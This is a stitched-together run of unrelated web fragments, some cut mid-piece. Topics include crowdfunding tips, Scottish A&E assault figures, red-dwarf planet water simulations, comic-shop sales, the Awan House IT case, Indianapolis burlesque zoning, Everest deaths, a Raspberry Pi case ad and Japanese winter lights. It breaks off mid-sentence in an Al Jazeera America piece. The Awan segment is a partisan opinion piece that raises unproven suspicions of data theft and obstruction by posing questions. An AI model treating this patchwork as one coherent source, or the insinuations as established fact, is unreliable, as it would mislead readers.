Programming forums, Hacker News, and Reddit. “Try to find some reliable contributors to seed it,” Andrei says, because when people are convinced the project will make it, they are more likely to help it get there. Once the campaign reached 50 contributors, they extended the reach of their network by emailing donors and asking them to spread the word. This strategy and the short timeline for funding kept up the campaign’s momentum, without major lulls. Once they reached their goal, the successful campaign gave the conference so much credibility that Andrei’s employer agreed to provide and pay for the conference’s venue. Last words of advice: Though a successful crowdfunding campaign gives a project credibility, Andrei cautions, “It’s a leap of faith, and you can lose face very easily… If it fails, it can be very disappointing and can hurt your project’s reputation.” He also advises to be aware that contributors can retract their donations last minute, which happened to them early on in the campaign. Had it happened later, as they approached their deadline, those retractions could have cost them the entire pool, so it’s always best to plan for a cushion. For further reading on crowdfunding best-practices, start with these resources: Raising Money Through Crowdfunding? Consider These Best Practices for Success | Entrepreneur Magazine How to Run a Successful Campaign on Kickstarter | Shopify The Untold Story Behind Kickstarter Stats [INFOGRAPHIC] | AppsBlogger Successful Kickstarter Campaigns | Garrett Gibbons Kickstartup | Craigmod.com About the Author: Alexa Lightner is one of the Space & Community Managers at Workbar. Contact her via email alexa@workbar.com or Twitter @alexalightner. -First - jocelynsamara.deviantart.com/a… Gallery - jocelynsamara.deviantart.com/g… Prev - jocelynsamara.deviantart.com/a… Next - jocelynsamara.deviantart.com/a… Ah~! Vincent said the name of the chapter! XDLove, trust, and respect are going to be pretty common themes throughout this chapter. I mean, they're significant to the story as a whole, but I want you to really be on the lookout here. We're going to be seeing a lot of examples and challenges to each of these before we're done. And have I mentioned that this chapter is insanely long? XDAlthough this week's pages were mostly just stage setting, there's a lot of interesting stuff here too. Like, how Fara and Vincent neither confirmed nor denied that they were together. Or how Aiken asked about the compatibility of cis and trans people at all.©2004-2016Rain, all characters and all other aspects of the story are copyright material belonging to me. -The statistics showed that doctors, nurses, porters and administrative workers suffered physical and verbal abuse from patients. Accident and Emergency staff have been the victim of 774 attacks over the last two years, according to new figures. The statistics showed that doctors, nurses, porters and administrative workers suffered physical and verbal abuse from patients. In one case a person being treated at Perth Royal Infirmary attempted to bite a staff member. Reports from other hospitals revealed "worrying" incidents of homophobic and racial abuse, the Liberal Democrats said. Lib Dem health spokesman Jim Hume said: "Our figures show that a total of 774 attacks on A&E staff took place across Scotland over 2012 and 2013. That's equivalent to an attack a day on NHS staff. "NHS staff at A&E units have a tough enough time trying to save the lives of patients in often traumatic conditions. It is shameful that A&E staff are having to fend off violent and verbal attacks whilst trying to do their job. "Time is precious in A&E units and every minute which is spent dealing with abuse and calling in the police could be better spent at the bedside of patients. "Most people in Scotland hold a deep respect for our A&E staff and the inspirational work they do. The minority of people who attack our A&E staff should recognise that this will not be tolerated." A Scottish Government spokesman said: "Attacks against NHS staff are despicable and the perpetrators should be dealt with in the strongest possible terms. There is no question that staff should feel safe in their jobs and no-one should be the victim of abuse or violence while at work. "We are working hard to continue to bring down the rate of attacks against staff and more people than ever before are being convicted under the Emergency Workers (Scotland) Act 2005 with the penalty of up to 12 months imprisonment, a £10,000 fine or both." -Does he cede power to the anti-establishment wing of his party? Or does he seek other pathways to successful governing by throwing away the partisan playbook and courting a coalition with the Democrats, whom he has improbably blamed for his party’s shortcomings? “It’s really a problem in our own party, and that’s something he’ll need to deal with moving forward,” said Representative Tom Cole of Oklahoma, an ally of the center-right Tuesday Group, which stuck with Mr. Trump in the health care fight and earned the president’s praise in the hours after the bill’s defeat. “I think he did a lot — he met with dozens and dozens of members and made a lot of accommodations — but in the end, there’s a group of people in this party who just won’t say yes,” Mr. Cole said. “At some point, I think that means looking beyond our conference. The president is a deal maker, and Ronald Reagan cut some of his most important deals with Democrats.” Mr. Trump is not there yet. Before becoming a presidential candidate, he seemed to have little fixed ideology. But as president, he has operated from the standard-issue Republican playbook, embracing many of the positions of Speaker Paul D. Ryan and the party establishment. While he is angry and thirsty for revenge, he seems determined to swallow the loss in hopes of marshaling enough Republican support to pass spending bills, an as-yet unformed tax overhaul and a $1 trillion infrastructure package — legislation that could attract considerable Democratic support but has the potential to split the party. On Friday evening, a somewhat shellshocked president retreated to the White House residence to grieve and assign blame. In a search for scapegoats, he asked his advisers repeatedly: Whose fault was this? -The Antarctic Sun is an online newspaper with "News about the USAP, the Ice, and the People." It is funded by the National Science Foundation (contract no. NSFDACS1219442) by its prime civilian contractor, Lockheed Martin Antarctic Support Contract.[1] The online publication has been covering cutting edge science for the National Science Foundation since 1997–1998 austral summer, though it can trace its history back to the 1950s when the U.S. Navy ran logistics for the USAP.[2] From the austral summer of 1997-98 to 2006-07, The Antarctic Sun was produced at McMurdo Station between the months of October and February. Since October 2007, it has been a year-round news website managed out of the Denver, Colorado area.[2] The website covers both science and features. The former includes biology, glaciology, geology, astrophysics and oceanography, among others. Features include USAP operations, Antarctic history, and profiles on people. Antarctic Sun Journalists [ edit ] In order of tenure, from most recent: Mike Lucibella Peter Rejcek Steven Profaizer Steve Martaindale Emily Stone Brien Barnett Kris Kuenning Melanie Conner Mark Sabbatini Kristan Hutchison Beth Minneci Jeff Inglis Josh Landis Aaron Spitzer Ginny Figlar Alexander Colhoun -Are Planets Like Proxima b Water Worlds? Those of us fascinated by dim red stars find these to be exhilarating days indeed. The buzz over Proxima b continues, as well it should, given the fact that this provocative planet orbits the nearest star. We also have detections like the three small planets around TRAPPIST-1, another red dwarf that is just under 40 light years out in the constellation Aquarius. These are small stars indeed, just 8 percent the mass of the Sun in the case of the latter, while Proxima Centauri is about 10 times less massive (and 500 times less luminous) than the Sun. But just what might we find on planets like these? A new paper from Yann Alibert and Willy Benz (University of Bern) drills down into their composition. The researchers’ goal is to study planet formation, with a focus on planets orbiting within 0.1 AU, a range that includes the habitable zone for such stars. While a forthcoming paper will look at the formation process of these planets in greater detail, the present work studies planetary mass, radius, period and water content. To do this, Alibert and Benz have developed computer simulations that model red dwarf planetary systems, assuming a central star with a tenth the mass of the Sun and a protoplanetary disk around each modeled star. Putting the model into motion, the scientists studied a series ranging from a few hundred to thousands of such stars, with 10 planetary embryos in each disk — each embryo was modeled as having an initial mass equal to that of the Moon, and the initial location of each planetary embryo was drawn at random. The results, according to Alibert: “Our models succeed in reproducing planets that are similar in terms of mass and period to the ones observed recently. Interestingly, we find that planets in close-in orbits around these type of stars are of small sizes. Typically, they range between 0.5 and 1.5 Earth radii with a peak at about 1.0 Earth radius. Future discoveries will tell if we are correct!” Image: Artist’s impression of Earth-sized planets orbiting a red dwarf star. Credit: @ NASA, ESA, and G.Bacon (STScI). The most striking aspect of this work is likely to be Alibert and Benz’ findings on the water content of small planets in the habitable zone. The amount of water is found to depend upon the location at which the planet has accreted planetesimals, their composition being dictated by the thermal structure of the disk and the location of the snowline, which varies depending on disk mass. Note this: A significant fraction of the planets modeled show more than 10 percent water. Contrast this with the Earth, whose fraction of water is roughly 0.02%. The study shows a correlation between the mass of a planet and the water fraction, with planets that do not contain a high degree of water being lower in mass (generally below one Earth mass), while planets totally devoid of water are all less massive than one Earth mass. Alibert and Benz see this as the result of migration, with more massive planets migrating from further out in the system, thus collecting water-rich material from beyond the snowline. Water may be a key to habitability, and the ‘habitable zone’ is defined as the zone in which liquid water can exist on the surface. But water to the extent of deep global oceans is problematic. A large enough water layer can produce high pressure ice at the bottom, preventing the carbonate-silicate cycle that regulates surface temperature over long timescales from operating. Without this mechanism, atmospheric CO 2 cannot cycle through the weathering of rocks on the Earth’s surface and the eventual subduction of calcium carbonate. High temperatures and pressures eventually return CO 2 to the atmosphere by processes like volcanism, regulating global temperatures. We don’t know how much of a factor the loss of this process might be on planets around red dwarf stars, as the paper takes pains to note: In the case of low mass stars, which evolve on much longer timescales, this may not be a major problem, as the stellar flux varies on timescales much longer than in the case of the Sun. In this situation, a process that stabilizes the surface temperature may not be necessary. The second reason [why large amounts of water may be detrimental for habitability] is connected to the fact that for planets with too much water an unstable CO 2 cycle destabilizes the climate making habitability more challenging… Again, this was demonstrated for solar-type stars and a similar process may or may not exist for low mass stars. So we have a computer model that produces planets similar in mass and radius to the interesting worlds we’re finding around some nearby red dwarfs, with a peak in the distribution of radius at about one Earth radius. The authors argue that the properties of the disk potentially correlate with the mass of the star, thus determining the water content of emerging planets. Deep oceans on planets in the habitable zone of red dwarfs may be the norm, in which case we need to know a great deal more about climate on such exotic worlds. …our models show that the properties of the disk and their potential correlation with the mass of the star are the most important parameters determining the characteristics, in particular the water content, of the emerging planet population. In this context, observational constraints on mass and lifetime of discs in orbit of low-mass stars become of paramount importance. The paper is Alibert and Benz, “Formation and composition of planets around very low mass stars,” accepted at Astronomy & Astrophysics (preprint). -Custom Search September 2017 Comic Book Sales to Comics Shops Estimated Comics Shipped to North American Comics Shops Based on Reports from Diamond Comic Distributors Search for titles on Comichron! Search tips While September closed out the worst quarter year-over-year (off nearly 16% in dollar terms) in nearly a decade and a half, it was the best of the three months in comparison with the same month the previous year. Overall orders were down 6%, while orders for Marvel comics and graphic novels were up 14% in dollar terms over the previous September, an increase of about $2 million at retail. That represented the publisher's best year-over-year performance since June 2016. A major part was the chart-topping Marvel Legacy #1, which played on DC's earlier success with lenticular covers. With lenticular and non-lenticular versions at the same cover price, combined orders were reported as one entry in the charts, totaling more than 298,000 copies and becoming the top-seller of the year thus far. While Marvel did some deep-discounting on graphic novels, the effect was partially offset by several Omnibus editions priced at over $100. Marvel's 88 new comic books in September was also the smallest number of periodical releases for the publisher in any month during the year. Marvel's improvement relative to its past performance continued to reverse the trend seen earlier in 2017, in which the publisher was entirely responsible for the industry's decline in dollar terms; as of September it was DC, up against the previous year's Rebirth numbers, which accounted for most of the loss. But there, too, DC's rate of decline in September was nearly half what it was in August, thanks to the continuation of its Dark Multiverse event and the fact that Rebirth was starting to come down off its heights from the previous year. DC had two Action Comics issues with lenticular and regular editions; combined, they would have made the top 10. Retailers ordered 24% more copies DC's Mister Miracle #2 than they had ordered of the first issue the month before, an infrequent occurence usually associated with high reorder activity. The 50th place comic book was up above 40,000 copies for the first time since January; the level was significant because few years in the 21st Century to that point had seen the 50th place title regularly go above it. Read more in our preliminary and final analysis posts for the month. You can also click to skip to the Top Graphic Novels for the month. —John Jackson Miller This list includes all items on Diamond's Top 300 charts, plus any post-#300 items from its Top 50 Indy and Small Publisher charts. If you don't see a book, Diamond released no data for it. Items marked with asterisks [*] had their reported orders reduced by 10% due to returnability. Distributor charts are regional commodity reports, not measures of a work's total reach. Read our FAQ. The links lead to current listings for each item on eBay. You can also find the books at your comics shop. September 2017 Graphic Novel Sales to Comics Shops Estimated Graphic Novels and Trade Paperbacks Shipped to North American Comics Shops Based on Reports from Diamond Comic Distributors This list includes all items on Diamond's Top 300 charts, plus any post-#300 items from its Top 50 Indy, Manga, and Small Publisher charts. If you don't see a book, Diamond released no data for it. The links lead to details about each title on Amazon. You can also find the books at your comics shop. #1 #2 #3 #4 A new Walking Dead volume led the chart in a month in which graphic novel sales continued to lag behind periodical sales. -By Printus LeBlanc In early February, five employees of the House of Representatives were banned from the House IT network. The five former House employees are the subject of a criminal investigation by the Capitol Hill Police. They are accused of stealing equipment and accessing House IT systems without lawmakers’ knowledge. The former employees were “shared” IT employees. “Shared” means they worked for several offices, performing IT functions. The five employees worked for over 20 members, to include members from the Intelligence and Foreign Affairs Committees and former Democratic National Committee (DNC) Chairwoman, U.S. Rep. Debbie Wasserman-Shultz (D-Fla.). You may remember Wasserman-Shultz has had IT issues in the past when she was chairwoman of the Democratic National Committee in 2016. The salaries of the employees should have been the first clue something was not right. Anyone that has worked on Capitol Hill will tell you, the salaries are not great. Most staffers can expect to start in the $30-40,000 range, not a lot for one of the most expensive cities in America. However, at least three of the staffers in question were making over $160,000 per year, three times the average IT staffer salary. To put that number into perspective, Chiefs of Staff, with dozens of years on the Hill, rarely make that much. The story gets worse from there. All five employees are related, three of them were brothers, Jamal, Imran, and Abid Awan, with Hina Alvi being married to Imran, and Natalia Sova being married to one of the other brothers. Hina has apparently fled the country with her children, to Pakistan, where her family reportedly has significant assets and VIP protection. The strangeness of the case does not end there. The brothers also had a car dealership, Cars International A (CIA) they used for supplemental income. The dealership was not doing so well, and fell behind in payments to their vendors. One vendor, Rao Abbas, threatened to sue them, and suddenly he received a paycheck from U.S. Rep. Theodore Deutch (D-Fla.). That payment has yet to be explained. The brothers then took out a $100,000 loan from Dr. Ali Al-Attar. The brothers were unable to repay that loan, but that doesn’t seem to be a problem, because Dr. Attar is a fugitive from U.S. authorities. Attar was indicted on tax fraud charges after the IRS and FBI discovered he used multiple bank accounts to hide income, in March 2012. The doctor is also believed to have ties to Hezbollah, the terrorist group. Al-Attar has since fled to Iraq. As the investigation continued, it kept getting worse. Several offices hired new IT staff, and found some of the computers were sending data to an offsite server. It is unknown what type of data or where the server is located yet, but several IT professionals on the Hill now believe members could be subject to blackmail because of the data theft. The violations were so bad, one staffer said, “There’s no question about it: If I was accused of a tenth of what these guys are accused of, they’d take me out in handcuffs that same day, and I’d never work again.” The case took another turn in a committee hearing on the Capitol Hill Police budget last week. Wasserman-Shultz took the opportunity to confront the Capitol Hill Police Chief about evidence in possession of the police. The Congresswoman wants a laptop computer back that is currently considered evidence by the Capitol Hill Police. The laptop allegedly was assigned to Imran Awan, the ringleader of the group. The laptop was found hidden in a different building from the one Wasserman-Shultz works in. The Congresswoman has an office in the Longworth building, but the laptop was found “hidden in an unused crevice of the Rayburn House Office Building.” The Capitol Police seized it and are treating it as evidence in their ongoing criminal investigation. While at the committee hearing, Wasserman-Shultz berated the Chief of Capitol Hill Police about procedures for getting the laptop back. The Chief explained what the procedures are, but the procedure changes if the laptop is evidence in a criminal investigation. The Congresswoman did not like that answer, and continued to ask the same question over and over. To his credit, the Chief answered the same way over and over. Finally, the Congresswoman threatened “consequences” for not returning her equipment. The video can be seen here, the exchange begins at 1:24:25. This brings us to a question being asked a lot in Washington D.C. lately. What is obstruction of justice? The phrase seems to be the latest buzzword of the D.C. establishment since James Comey was fired earlier this month. Did Wasserman-Shultz attempt to “obstruct justice” by demanding the investigating authority hand over evidence in a criminal matter, or suffer “consequences”? Remember, the Congresswoman is on the committee that controls the budget of the very person she threatened “consequences”. The Congresswoman was singing a different tune earlier this month about “obstruction”. Wasserman-Shultz commented about the Comey firing, saying “If President Trump pressured then-FBI Director Comey to close down an investigation into former National Security Advisor Flynn, it would represent an egregious corrosion of the rule of law.” Does this mean the Congresswoman is representing an “egregious corrosion of the rule of law”, her words not mine? This latest incident with Wasserman-Shultz has created more questions than answers. Why would the Congresswoman risk “obstruction of justice” to get this computer back? What is Wasserman-Shultz trying to hide? If there was a potential breach of IT security on Capitol Hill, wouldn’t the Congresswoman want that cleared up? We have a legitimate security breach and a potential blackmail situation occurring on Capitol Hill, but the press is focused on a Russia story still with no evidence. We have an offsite server sucking up Congressional data, with criminal suspects fleeing to Pakistan for protection, but the press wants to focus on a special counsel with no apparent crime to investigate. We have a member of Congress pressuring the Capitol Hill Police on camera, but the press wants to talk about a memo no one has seen. Where is the call for a special counsel on this scandal? Could it be Congress was breached by a foreign intelligence service, and no one wants to admit it, or did Congress get ripped off by a family of scammers? We need to find out the truth, no matter how unpleasant. Printus LeBlanc is a contributing reporter at Americans for Limited Government. -April 17: To more fully answer the question of whether or not theaters can present nudity or "semi-nudity" without running afoul of code enforcement, here's a blog about the successful staging of Naked Boys Singing at Theatre on the Square and Phoenix Theatre. "I'm so glad I didn't get arrested tonight," Katie Angel half-joked over the noise of the DJ at Kat's Pub, the Camby bar where she'd just finished performing the night of April 11 with her burlesque troupe, Angel Burlesque. It was like any other Angel Burlesque show — if on a smaller-scale than some of its big fundraising extravaganzas — except for a couple attendees. The Indianapolis Department of Code Enforcement was on the scene to determine if Angel Burlesque's act can be defined as adult entertainment. It's not an idle question: If it's determined to be adult entertainment, then it can only be performed on a "regular" basis in adult entertainment businesses, such as strip clubs or adult bookstores, which are carefully regulated and required by law to be located more than 500 feet from any residences. And such a definition could have a chilling effect on the fledging local burlesque scene by knocking troupes off of just about all the stages and venues where they have performed over the past decade — almost none of which are defined as adult entertainment businesses. Or it might not. Such is the vagueness and flexibility of the code and the laxness and inconsistency of its enforcement. In any case, the can of worms has been opened. The answer, relayed Monday by the city to NUVO: Yes, Angel Burlesque can be defined as an adult act because it meets the requirement for "semi-nudity," which the code defines as "a state of dress in which clothing covers no more than the genitals, pubic region and areola of the female breast, as well as portions of the body covered by supporting straps or devices." At issue is a letter the bar's landlord received in late March from the city (as a neighborhood in Decatur Township, Camby is under the administrative authority of Indianapolis). It cites Kat's Pub for two violations. One pertains to a window sign posted without the required permit. The other is the reason we're writing this story. It cites the landlord for violating Section 732-216 of the city code: "The establishment of an adult entertainment business shall be prohibited if the business is located within 500 feet of a dwelling district." The letter to the landlord spells out the penalties: If Kat's Pub were to present adult entertainment within 500 feet of anyone's home on a "regular" basis — note that the term "regular" isn't specifically defined — it would be subject to both administrative fees of $215 per scheduled visit by the city, and then lawsuits with fines up to $2,500 per violation, plus court costs. But there are at least six burlesque troupes in town, you might say, and they've been performing across the city for roughly a decade, since the first neo-burlesque troupe, Bottoms Up Burlesque, hit the scene. Angel Burlesque says it has performed in nine venues since its founding in 2011. How have they gotten away with it? It's time for more fun with code enforcement. Here's how not to get away with a burlesque show: 1) Do a show in a part of the community that might be hostile — or rather, might be home to a single hostile person who will notify the city. As Adam Baker, the Director of Communications for the Indianapolis Department of Code Enforcement puts it, "code enforcement is strictly a reactive agency," and will only address a violation if "people tell us. That's the way code enforcement is designed." And so, as Baker reports, the department was alerted to the performance only when someone in a Camby neighborhood sent a letter to the department complaining about an ad for the performance she received in a Money Mailer. Baker emphasizes that the department "is not a Gestapo," roaming the city looking for infringements. But it must respond to all complaints — and then assess the legitimacy of those complaints based on the letter of the code. Angel says her troupe has drawn attention because of its ambition to reach new audiences. "We're really trying to push into the mainstream," she says. "We're trying to reach a wider market beyond supportive family and friends." 2) Show a pretty lady in a state of semi-nudity in your advertisements. Code enforcement issued its citation to the landlord of Kat's Pub weeks before Angel Burlesque's performance took place, based upon the titillating nature of the bar's advertisement for the show. While the department says that "by definition, burlesque does not mean adult entertainment," the confluence of burlesque and a less than fully clothed woman on a poster was enough evidence for the city to make its decision. However, that was a preliminary decision, according to the department, which, according to Baker, says it "tries to get everyone on the same page" in any situation, seeing if "there's room to be worked" or if "there's a variance that can be applied for." When NUVO spoke to Baker last week, he noted that the bar "wasn't in violation right now"; the business had been assessed for two violations pertaining to the show but had until April 11 to abate said violations. [page] 3) Try to do your show more than once in the same venue. As Baker puts it, with respect to Angel Burlesque's show at Kat's Pub: "This could be a one-time performance; that's another way that would not be considered an adult entertainment business." So the solution for a burlesque troupe: One and done. Or maybe two. Maybe even monthly? The trouble is that a business needs to present adult entertainment "regularly" to be defined as an adult entertainment business — and "regularly" is not defined by the code. Not that the code doesn't get more specific; it does define, for instance, exactly what "nudity" and "semi-nudity" entail (nudity includes "human male genitals in a discernibly turgid state even if completely and opaquely covered"). But "regularly"? That's up for debate. And that ambiguity likely led to the cancellation of monthly, First Friday performances by Angel Burlesque at Deluxe at Old National Centre, which was contacted by the code enforcement in 2012, responding to a complaint similar to the one made about Kat's Pub. "When we found out about it, we were under the impression it was only a one-time thing," Baker says of the complaint. He notes that the venue was never issued a citation for the performance. Live Nation, which manages Old National Centre, did not immediately respond to a request for comment. 4) Put on a show without a thorough understanding of the city code. Katie Angel and the rest of the members of Angel Burlesque were under no threat of arrest Friday night. But they thought a police officer would be attending their show — they were, in fact, plain-clothed code enforcement inspectors — and were more than a little nervous going into the performance. The owner of Kat's Pub, Chad Alvey, complained last week to NUVO that the city "didn't even know what a burlesque show was," that they "didn't know what the public indecency law was." The public indecency law has nothing to do with the adult entertainment code, according to code enforcement's Baker, but Alvey wasn't clear on the distinction. In other words, Angel and Alvey had an unclear understanding of the city code and the way that it's enforced going into the performance. But the city expects performers and venues alike to familiarize themselves with the law: "At the end of the day there has to be some kind of responsibility on the individual or performer to follow through," says Baker, adding that "we do what we can, up front, to try to educate." One key question: Should Angel and Alvey have been expected to know the adult entertainment code? Angel Burlesque performed a show at Kat's Pub in February, which didn't result in a citation of the venue. Alvey booked the show after seeing troupes like Rocket Doll Revue performing in venues around the city that aren't certified as adult entertainment businesses. Here's an excerpt from NUVO's 2012 cover story on burlesque that gives a sense of the scope of the local burlesque scene (with the caveat that much of the information is outdated): "Bottoms Up makes their home in Radio Radio and the Historic Melody Inn, while Creme de les Femmes can be found anywhere from Birdy's to the Casba's underground bar. Rocket Doll Revue are regulars at White Rabbit Cabaret and now The Sinking Ship; Pur Company can be found just about anywhere there's a party when they're not doing their regular gig at Room 929; Angel Burlesque is equally at home on Crackers' comedy stage or the eminently respectable Deluxe room at Old National Centre. And Hasenpfeffer is White Rabbit Cabaret's troupe-in-residence." In short, burlesque troupes have historically performed at venues across the city — venues open to the public, shows that were widely advertised and featured in local press — without running afoul of the code enforcement. And because burlesque isn't specifically cited as an adult entertainment act in the code — and semi-nudity and nudity have been historically been featured on local stages that aren't housed in adult entertainment businesses — then wouldn't those troupes have a reasonable expectation that their performances were lawful and appropriate? Which brings us to... 5) Perform as a burlesque troupe outside of a theatrical setting. Katie Angel doesn't want to have to resort to calling Angel Burlesque's performances "theater" because she rather likes the term "burlesque," with its rich tradition rooted in vaudeville, variety shows and other populist entertainment of the first half of the 20th century. "There's something special about saying burlesque," she says. "There's something so beautiful about burlesque that it's so female-positive; it connects us to our foremothers." But it's only when Angel Burlesque has ventured beyond a theatrical setting that it's drawn the attention of the city: First at Deluxe, which has a rock club feel, then Kat's Pub, an unprepossessing bar in a strip mall. There's evidently safety in presenting burlesque as a legitimate theatrical performance, with all the trappings of high art — in the same way as obscenity charges have historically been defeated by making the case for the legitimate cultural value of a particular artwork. Not that Katie couldn't make the case for Angel Burlesque's importance to the city in other ways. When she spoke to NUVO by phone last week, she was getting ready to cut a $2,000 check to Indiana Equality Action, from funds raised during its Bourbon Boylesque event at the Athenaeum last month. Angel Burlesque also hosts an annual fundraiser for the Indiana AIDS Fund, and has given money to the Julian Center and Planned Parenthood. She also emphasizes the "emotional benefits" afforded to troupe and audience members by a performance. "They're what motivate me to run Angel Burlesque," she says. "They go on stage and they feel so confident and they feel so beautiful, so powerful. Where do you get a chance to put yourself out there and receive that kind of positive reinforcement from the audience?" To be sure, Angel Burlesque defines "burlesque" as the "art of the tease," and it's this reporter's impression that some of the troupe's performers do achieve a state of "semi-nudity," as defined by the code, by the close of their performance. But such strict restrictions on performance involving nudity and semi-nudity have been successfully challenged. For instance, a 2001 performance of Naked Boys Singing, which involves the full-frontal nudity of adult male performers and has played locally, was shut down by the city of Provincetown, which cited similar zoning laws that prohibit adult entertainment businesses within 500 feet of protected areas. But to quote from a document from The First Amendment Center, "According to Provincetown Banner, Judge Gordon Piper found that the town could not prohibit the owners of the Crown & Anchor Inn, a privately owned hotel and 'entertainment center,' from staging live nude performances. The judge noted a footnote in the bylaw that attaches adult entertainment to the category of retail use and ruled that the inn did not fall under the town's definition of a retail establishment." The city plans to inform Kat's Pub of its decision later this week, and, as Baker says, "start a dialogue" with the club to see if there's common ground to be found. Kat's Pub owner Alvey says that while he plans to fight citations assessed by the city, he's unlikely to continue booking Angel Burlesque if he loses a court case or sustains substantial fines. -More than 200 people have died in their attempt to scale Mount Everest. The mountain offers seemingly endless options for kicking the bucket, from falling into the abyss to suffocating from lack of oxygen to being smashed by raining boulders. Yet climbers continue to try their skills – and luck – in tackling Everest, despite the obvious dangers. Indeed, the living pass the frozen, preserved dead along Everest’s routes so often that many bodies have earned nicknames and serve as trail markers. Here are a few of the more colorful tales, adapted from Altered Dimensions: The body of “Green Boots,” an Indian climber who died in 1996 and is believed to be Tsewang Paljor, lies near a cave that all climbers must pass on their way to the peak. Green Boots now serves as a waypoint marker that climbers use to gauge how near they are to the summit. Green Boots met his end after becoming separated from his party. He sought refuge in a mountain overhang, but to no avail. He sat there shivering in the cold until he died. In 2006, English climber David Sharp joined Green Boots. He stopped in the now-infamous cave to rest. His body eventually froze in place, rendering him unable to move but still alive. Over 40 climbers passed by him as he sat freezing to death. His plight might have been overlooked as passers-by assumed Sharp was the already-dead Green Boots. Eventually, some heard faint moans, realized he was still alive, and, too late, attempted to give him oxygen or help him stand. Francys Arsentiev was the first American woman to reach Everest’s summit without the aid of bottled oxygen, in 1998. But climbers do not recognize this as a successful ascent since she never made it down the mountain. Following a rough night time trek to camp, her husband, a fellow climber, noticed she was missing. Despite the dangers, he chose to turn back to find his wife anyway. On his way back, he encountered a team of Uzbek climbers, who said they had tried to help Francys but had to abandon her when their own oxygen became depleted. The next day, two other climbers found Francys, who was still alive but in too poor of a condition to be moved. Her husband’s ice axe and rope were nearby, but he was nowhere to be found. Francys died where the two climbers left her, and climbers solved her husband’s disappearance the following year when they found his body lower down on the mountain face where he fell to his death. -Another Perfect Media Center Companion There is more... This is the first affordable Raspberry Pi case made out of aluminum. We wanted to ensure we didn’t sacrifice form over function, so we used the aluminum housing of the case to provide a built in heat sink. Supplied with the case is a thermal pad and 4 screws for the simplest Raspberry Pi case assembly on the market. It only takes seconds to drop your Raspberry Pi into it’s amazing new home and show it off on your counter top. We included rubber feet to raise the enclosure so it just hovers underneath your television. In addition to the built in heat sink, small ventilation slots on the bottom help keep the Raspberry Pi cool. GPIO pins are accessible through the slot on the bottom of the case and there is no need for disassembly to get to the SD card. We know you will love the attention to detail we put in throughout the case. -KYODO NEWS - Dec 1, 2017 - 16:06 | All, Lifestyle, Japan With just about a month left in 2017, Japan is gearing up for the winter season as snow begins to cover its northern regions and seasonal illumination lights up scenic spots across the country. Mt. Fuji got its first full snowcap of the season in late October. Meanwhile, in western Japan's Himeji, an illumination show was held in early November at Himeji Castle, a national treasure and World Heritage site, during which LED balloons were released from a square outside it. By mid November, the city of Sapporo in northern Japan's Hokkaido was already glistening under a blanket of snow. The snow-clearing tram known as Sasara Densha makes its rounds in Sapporo, home of the famous Sapporo Snow Festival. The 2018 festival is scheduled to take place from Feb. 1 to Feb. 12. In Sendai in Miyagi Prefecture, northeastern Japan, Mt. Izumigatake recorded its first snowfall on Nov. 20, creating a splendid contrast with fallen red autumn leaves along the mountain path. Amid the arrival of the first snow, workers at a ski resort on Mt. Izumigatake busied themselves with preparations ahead of the season's opening. Besides the beautiful snow scenery, elaborate illumination is brewing a festive mood in many parts of Japan. In Sapporo, the annual Sapporo White Illumination event, using some 780,000 light bulbs, will run through Dec. 25, 2017. Meanwhile in downtown Tokyo, colorful Christmas trees by French architect and designer Emmanuel Muho adorn the fancy Omotesando Hills shopping mall. In neighboring Chiba Prefecture, Tokyo Disneyland and Tokyo DisneySea also get into the Christmas spirit with festive illumination and special events. In central Japan, Nagoya's Legoland Japan unveiled a gigantic 10-meter Christmas tree, built with more than 610,000 Lego pieces. In Osaka, Universal Studios Japan readied for the festivities with a new Guinness World Record Christmas tree featuring 570,000 lights. For railway enthusiasts, the annual "Inaka Illumination" event in the rural town of Onan in Shimane Prefecture offered a spectacular display of lights in the vicinity of Uzui Station, which stands 20 meters above ground. The JR Sankosen Line, the only train service in Onan, will be discontinued in March 2018. According to the Japanese weather agency's three-month forecast, almost all regions across the country are expected to experience a colder winter in December 2017, and average or slightly warmer temperatures in January and February 2018. Snowfall in regions facing the Sea of Japan is likely to be around average in most areas, although western Japan may see slightly more snow than in normal years. More photo galleries: GALLERY: Autumn foliage in Japan's Kyoto GALLERY: Mt. Fuji gets season's first snow crown GALLERY: Chinese tourists flock to North Korean border -Hawaiian ‘Ukulele and Guitar will open a new location in Hilo in July 2017, kicking off with a reception on Tuesday, July 4. Hawaiian artist Ali‘i Keana‘aina‘a will provide free entertainment; pūpū will be served. Doors will open at 4:30 p.m. The new store is located on the Hilo Bayfront in the S. Hata Building on 76 Kamehameha Ave. next to Cafe Pesto. Owner and musician Robert Yates is proud to open his third location to better serve Big Island. Yates, more fondly referred to as “Uncle ‘Uke,” offers essentials for both professional and aspiring musicians. Hawaiian Ukulele and Guitar is a distributor of KANILE‘A ‘ukulele on the Big Island. KANILE‘A are masterpiece instruments made in Hawai‘i. Hawaiian ‘Ukulele and Guitar is also located at Kailua Bay in Kona and at Queens’ MarketPlace in Waikoloa. The stores offer sheet music, picks, stands, instruments and more. -The news that Al Gore is suing Al Jazeera America for millions of dollars owed him from the purchase of his Current TV network rocked the media world last week. After all, who knew Al Jazeera America still existed? But AJA is still there (probably), snug in the old Current TV channel slot on your cable guide. It’s just that you’re not watching. Neither is anyone else. Al Jazeera America went live exactly one year ago, on Aug. 20, 2013, powered by an initial $500 million in oil money from the emir of Qatar, plus millions spent hiring topflight broadcast journalism talent (including NBC veterans Randall Pinkston and John Seigenthaler, CNN’s Soledad O’Brien and Al Velshi, ABC’s Antonio Mora and CBS veteran Joie Chen and more) and establishing 12 news bureaus across the U.S. The network hoped to succeed in the U.S. market where Al Jazeera English had failed. It seemed like a good idea at The New York Times, where Brian Stelter rhapsodized that “Al Jazeera is coming to America to supply old-fashioned, boots-on-the-ground news coverage to a country that doesn’t have enough of it.” Elites like Stelter couldn’t be bothered with AJA’s provenance – a parent bankrolled by the same people as Hamas, that acted as Al Qaeda’s PR arm during the Iraq War, completely ignored the public sexual assault on CBS’s Lara Logan and actually held a birthday/prisoner exchange party for a murdering Lebanese terrorist. Whether the American public knows or cares about any of that isn’t certain, but it certainly hasn’t shared Stelter’s enthusiasm for yet another left-of-center news organization in the U.S. market. On Aug. 11, AP cited Neilson ratings, noting, “So far this year, Al-Jazeera America has averaged 17,000 viewers in prime time, ticking up to 23,000 during the first week of fighting in Gaza.” And you thought MSNBC had definitively answered that old hypothetical question, “What if we built a network and nobody watched?” In April, AJA laid off dozens of journalists, and another round of lay-offs is in the works. The network is putting up a brave face. According to the Aug. 8 New York Daily News, AJA chief Ehab Al Shihabi told employees in an anniversary memo, “I know there has been a lot of talk 